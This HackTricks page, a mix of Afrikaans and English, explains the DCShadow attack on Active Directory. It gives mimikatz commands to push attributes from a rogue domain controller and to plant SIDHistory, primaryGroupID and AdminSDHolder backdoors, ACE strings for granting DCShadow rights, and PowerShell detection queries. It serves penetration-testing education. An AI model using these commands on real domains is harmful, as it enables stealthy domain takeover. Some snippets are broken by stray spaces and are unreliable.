DCShadow
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basic Information
Dit registreer ’n new Domain Controller in die AD en gebruik dit om push attributes (SIDHistory, SPNs…) op gespesifiseerde voorwerpe te plaas without enige logs oor die modifications te laat. Jy need DA voorregte en moet binne die root domain wees.
Let daarop dat as jy verkeerde data gebruik, baie lelike logs sal verskyn.
Om die aanval uit te voer het jy 2 mimikatz instances nodig. Een daarvan sal die RPC servers met SYSTEM privileges begin (jy moet hier aandui watter veranderinge jy wil uitvoer), en die ander instance sal gebruik word om die waardes te push:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
Let daarop dat elevate::token nie in mimikatz1 sessie sal werk nie, omdat dit die privileges van die thread verhoog het, maar ons moet die privilege van die process verhoog.
Jy kan ook ’n “LDAP” object selekteer: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Jy kan die veranderinge push vanaf ’n DA of vanaf ’n gebruiker met hierdie minimale toestemmings:
- In die domein-objek:
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchornization)
- Die Sites object (en sy children) in die Configuration container:
- CreateChild and DeleteChild
- Die objek van die computer which is registered as a DC:
- WriteProperty (Not Write)
- Die target object:
- WriteProperty (Not Write)
Jy kan Set-DCShadowPermissions gebruik om hierdie privilegies aan ’n gebruiker sonder verhoogde regte te gee (let wel: dit sal logs nalaat). Dit is baie meer beperkend as om DA-privilegies te hê.
Byvoorbeeld: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Dit beteken dat die gebruikersnaam student1 wanneer aangemeld op die masjien mcorp-student1 DCShadow-permissies oor die objek root1user het.
DCShadow gebruik om agterdeure te skep
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Misbruik van primêre groep, leemtes in enumerasie, en opsporing
primaryGroupIDis ’n aparte attribuut van die groepmember-lys. DCShadow/DSInternals kan dit direk skryf (bv. stelprimaryGroupID=512vir Domain Admins) sonder on-box LSASS-handhawing, maar AD skuif nog steeds die gebruiker: die verandering van PGID verwyder altyd lidmaatskap van die vorige primêre groep (dieselfde gedrag vir enige teikengroep), dus kan jy nie die ou primêre-groep lidmaatskap behou nie.- Standaardinstrumente verhinder om ’n gebruiker uit hul huidige primêre groep te verwyder (
ADUC,Remove-ADGroupMember), dus vereis die verandering van PGID gewoonlik direkte directory-skryf (DCShadow/Set-ADDBPrimaryGroup). - Lidmaatskapverslaggewing is inkonsekwent:
- Sluit in lede wat vanaf die primêre groep afgelei is:
Get-ADGroupMember "Domain Admins",net group "Domain Admins", ADUC/Admin Center. - Sluit uit lede wat vanaf die primêre groep afgelei is:
Get-ADGroup "Domain Admins" -Properties member, ADSI Edit inspectingmember,Get-ADUser <user> -Properties memberOf. - Rekursiewe kontroles kan primêre-groep lede mis as die primêre groep self genestel is (bv. gebruiker se PGID wys na ’n geneste groep binne Domain Admins);
Get-ADGroupMember -Recursiveof LDAP rekursiewe filters sal daardie gebruiker nie teruggee nie tensy rekursie eksplisiet primêre groepe oplos. - DACL-truuks: aanvallers kan deny ReadProperty op
primaryGroupIDby die gebruiker (of op die groepmemberattribuut vir nie-AdminSDHolder-groepe) gebruik om effektiewe lidmaatskap van meeste PowerShell-navrae te verberg;net groupsal steeds die lidmaatskap oplos. AdminSDHolder-beskermde groepe sal sulke ontkennings terugstel.
- Sluit in lede wat vanaf die primêre groep afgelei is:
Opsporing/monitering voorbeelde:
# Find users whose primary group is not the default Domain Users (RID 513)
Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID |
Where-Object { $_.primaryGroupID -ne 513 } |
Select-Object Name,SamAccountName,primaryGroupID,primaryGroup
# Find users where primaryGroupID cannot be read (likely denied via DACL)
Get-ADUser -Filter * -Properties primaryGroupID |
Where-Object { -not $_.primaryGroupID } |
Select-Object Name,SamAccountName
Kontroleer bevoorregte groepe deur die uitvoer van Get-ADGroupMember te vergelyk met Get-ADGroup -Properties member of ADSI Edit om afwykings wat deur die veld primaryGroupID of ander verborge velde veroorsaak word, op te spoor.
Shadowception - Gee DCShadow toestemmings met DCShadow (geen logs van gewysigde toestemmings)
Ons moet die volgende ACEs byvoeg met ons gebruiker se SID aan die einde:
- Op die domeinobjek:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)- Op die aanvaller rekenaarobjek:
(A;;WP;;;UserSID) - Op die teiken gebruiker objek:
(A;;WP;;;UserSID) - Op die Sites-objek in die Configuration-container:
(A;CI;CCDC;;;UserSID)
Om die huidige ACE van ’n objek te kry: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Let daarop dat jy in hierdie geval verskeie veranderinge moet maak, nie net een nie. Dus, in die mimikatz1 session (RPC-server) gebruik die parameter /stack met elke verandering wat jy wil aanbring. Op hierdie manier sal jy slegs een keer hoef te /push om al die gestapelde veranderinge op die rogue server uit te voer.
More information about DCShadow in ired.team.
References
- TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation
- DCShadow write-up in ired.team
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


